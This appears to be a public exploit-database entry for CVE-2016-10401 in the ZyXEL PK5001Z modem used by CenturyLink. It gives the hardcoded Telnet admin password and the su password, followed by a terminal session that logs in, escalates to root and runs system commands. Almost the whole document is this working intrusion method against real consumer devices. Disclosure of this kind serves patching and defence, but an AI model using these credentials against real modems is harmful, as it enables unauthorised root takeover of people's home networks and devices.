The ZyXEL PK5001Z modem has a hardcoded backdoor admin account that allows escalation to root.
bca3b4449d9fcb8fb0e87e0643eda104# Exploit Title: ZyXEL PK5001Z Modem - CenturyLink Hardcoded admin and root Telnet Password.
# Google Dork: n/a
# Date: 2017-10-31
# Exploit Author: Matthew Sheimo
# Vendor Homepage: https://www.zyxel.com/
# Software Link: n/a
# Version: PK5001Z 2.6.20.19
# Tested on: Linux
# About: ZyXEL PK5001Z Modem is used by Century Link a global communications and IT services company focused on connecting its customers to the power of the digital world.
# Linked CVE's: CVE-2016-10401
Hardcoded password for ZyXEL PK5001Z Modem, login with the following credentials via Telnet
username: admin
password: CenturyL1nk
Escalate to root with 'su' and this password.
password: zyad5001
[root:/]# telnet 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
PK5001Z login: admin
Password: CenturyL1nk
$ whoami
admin_404A03Tel
$ su
Password: zyad5001
# whoami
root
# uname -a
Linux PK5001Z 2.6.20.19 #54 Wed Oct 14 11:17:48 CST 2015 mips unknown
# cat /etc/zyfwinfo
Vendor Name: ZyXEL Communications Corp.